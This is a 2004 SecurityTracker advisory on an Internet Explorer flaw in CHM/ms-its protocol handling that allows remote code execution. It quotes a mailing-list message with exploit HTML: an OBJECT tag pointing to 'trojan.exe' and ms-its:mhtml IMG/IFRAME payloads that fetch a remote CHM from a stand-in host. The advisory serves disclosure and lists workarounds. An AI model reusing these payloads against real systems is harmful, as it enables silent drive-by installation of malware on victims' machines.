Microsoft Internet Explorer Security Domain Flaw in Accessing CHM Files Lets Remote Users Execute Arbitrary Code
|
|
SecurityTracker Alert ID: 1009690
|
|
SecurityTracker URL: http://securitytracker.com/id?1009690
|
|
CVE Reference: CAN-2004-0380
(Links to External Site)
|
Date: Apr 7 2004
|
Impact: Execution of arbitrary code via network, User access via network
|
Version(s): 6.0 SP1 (and possibly prior versions)
|
Description: A cross-domain security vulnerability was reported in Microsoft Internet Explorer in the processing of CHM compiled help files via
the ms-its and related protocol handlers. A remote user can execute arbitrary code on the target user's system.
It is reported that the 'ms-its', 'ms-itss', 'its', and 'mk:@MSITStore' protocol handlers do not properly do not properly determine
the appropriate security domain when accessing MIME-encapsulated HTML files (MHTML files) within CHM files. A remote user can create
HTML that, when loaded by the target user, will run scripting code in the Local Computer security zone. This permits arbitrary
code execution.
The malicious HTML can attempt to access an HTML file within a local MHTML file that does not exist. This reportedly
will cause Internet Explorer to attempt to access the file from a remote location but incorrectly execute the file in the Local
Computer security zone.
It is reported that any application that uses the WebBrowser ActiveX control or the Internet Explorer
HTML rendering engine (MSHTML) may be vulnerable (for example, Outlook and Outlook Express are affected).
Thor Larholm is credited
by K-OTik Security with reporting this flaw.
|
Impact: A remote user can execute arbitrary code on the target user's system.
|
Solution: No solution was available at the time of this entry.
The author of the original report indicates that as a workaround, you maybe
able to either disable the execution of CHM files (Windows Explorer/Tools/Folder Options/File
Types/CHM ..) or rename the registry
entry 'HKEY_CLASSES_ROOT\PROTOCOLS\Handler\ms-its'.
|
Vendor URL: www.microsoft.com/technet/security/ (Links to External Site)
|
Cause: Access control error
|
Underlying OS: Windows (Any)
|
Reported By: K-OTiK Security <Special-Alerts@k-otik.com>
|
Message History:
This archive entry has one or more follow-up message(s) listed below.
|
Source Message Contents
|
Date: Wed, 18 Feb 2004 19:02:45 CST
From: K-OTiK Security (Special-Alerts@k-otik.com)
Subject: Microsoft Internet Explorer Unspecified CHM File Processing Arbitrary
|
hi,
Thor Larholm reported a new unpatched and critical IE vuln wich is exploited as an
infection vector for malicious codes and trojans (bid 9658)...
here are some details regarding this bug, from Berman Enconado of TrendMicro - (more
details will be released by Thor)
The exploit allows executable files to be downloaded and run in the background without
user intervention. It employs a malformed CLSID parameter, which enables it to execute a
file on the infected user's machine. When an infected user visits a Web site, it can cause
a possible malicious executable file to run on the system without user permission.
The exploit works by tagging another script, which contains a CLASSID exploit as a CHM.
The following is an illustration of how this exploit works:
The file, LAUNCH.HTML, contains the following codes, which utilizes the exploit:
<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111123'
CODEBASE='trojan.exe'>
To execute the script (LAUNCH.HTML) as a CHM, another script tags and calls LAUNCH.HTML
using the following:
<IMG
SRC='ms-its:mhtml:file://C:\ss.MHT!http://www.example.com//chm.chm::/files/launch.htm'><IMG
SRC='ms-its:mhtml:file://C:\ss.MHT!http://www.example.com//chm.chm::/files/launch.htm'><IMG
SRC='ms-its:mhtml:file://C:\ss.MHT!http://www.example.com//chm.chm::/files/launch.htm'><IFRAME
SRC='redirgen.php?url=URL:ms-its:mhtml:file://C:\ss.MHT!http://www.example.com//chm.chm::/files/launc
h.htm'>
Solutions :
1)disable the execution of CHM files ? (Windows Explorer/Tools/Folder Options/File
Types/CHM ..)
2)rename registry entry ? HKEY_CLASSES_ROOT\PROTOCOLS\Handler\ms-its
3)use another product ? :-/
4)wait for a patch ? (how long ?)
Cheers.
Isabelle - Security Engineer
K-OTik Security Staff
http://www.k-otik.com
|
|
